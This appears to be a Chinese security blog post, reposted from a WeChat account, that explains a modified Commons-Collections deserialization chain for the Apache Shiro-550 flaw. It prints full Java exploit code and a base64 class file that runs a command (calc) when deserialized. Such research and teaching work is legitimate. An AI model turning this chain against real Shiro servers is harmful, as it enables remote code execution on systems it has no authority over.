Shiro550改造版CC链利用

admin 2022年5月4日20:27:32评论61 views字数 4741阅读15分48秒阅读模式

Shiro550改造版CC链利用

扫一扫关注公众号,长期致力于安全研究Shiro550改造版CC链利用




0x01 

在shiro反序列化过程中,在反序列化的代码如下

public T deserialize(byte[] serialized) throws SerializationException {    if (serialized == null) {        String msg = "argument cannot be null.";        throw new IllegalArgumentException(msg);    } else {        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);        BufferedInputStream bis = new BufferedInputStream(bais);
try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); T deserialized = ois.readObject(); ois.close(); return deserialized; } catch (Exception var6) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, var6); } }}

可以看到在10行,new的是一个没见过的对象。跟进查看


public class ClassResolvingObjectInputStream extends ObjectInputStream {    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {        super(inputStream);    }
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException var3) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3); } }}

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName (实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass,而后者用的是Java原生的 Class.forName 。

网上很多文章就给出结论,Class.forName支持加载数组,而ClassLoader.loadClass 不支持加载数组,这个区别导致了问题。

public class CCShiro {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
public static void getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ccshiro.bin")); objectOutputStream.writeObject(expMap); objectOutputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ccshiro.bin")); inputStream.readObject(); inputStream.close();
}
public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg=="); getPayload(bytes); }}

TemplatesImpl#newTransformer()就是CC3利用的一个入口,这里不过多讲解

分析InvokerTransformer,其实这就是CC3链的一个调用过程,假设给input传入TemplatesImpl,iMethodName传入为newTransformer,则就会执行命令

Shiro550改造版CC链利用

接下来分段分析,首先来可以看出InvokerTransformer是一个利用点

 Transformer transformer = new InvokerTransformer("getClass", null, null);

Shiro550改造版CC链利用

Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);


LazyMap如下,factory为传入的transformer

Shiro550改造版CC链利用

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();expMap.put(tme, "valuevalue");
outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");

TiedMapEntry如下,参数1是 LazyMap  参数2是 TemplatesImpl实例化对象

可以通过getValue()来执行到LazyMap中

Shiro550改造版CC链利用

之后将TiedMapEntry传入到expMap的key中


Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();

在HashMap的readObject中,将key传入到了hash方法中

Shiro550改造版CC链利用


而hash调用如下,其key为TiedMapEntry,所以会调用到TiedMapEntry#hashCode方法

Shiro550改造版CC链利用

而该TiedMapEntry#hashCode会调用到getValue,从而间接的调用map.get(LazyMap)

Shiro550改造版CC链利用

这里清空的意义就是为了能进入LazyMap中的该if判断

Shiro550改造版CC链利用

setFieldValue(transformer, "iMethodName", "newTransformer");

通过反射,将iMethodName修改为newTransformer,这就最终会命令执行了

Shiro550改造版CC链利用





下方扫一下扫,即可关注Shiro550改造版CC链利用

Shiro550改造版CC链利用






原文始发于微信公众号(安全族):Shiro550改造版CC链利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
未分类
admin
  • 本文由 发表于 2022年5月4日20:27:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro550改造版CC链利用http://cn-sec.com/archives/973540.html

发表评论

匿名网友 填写信息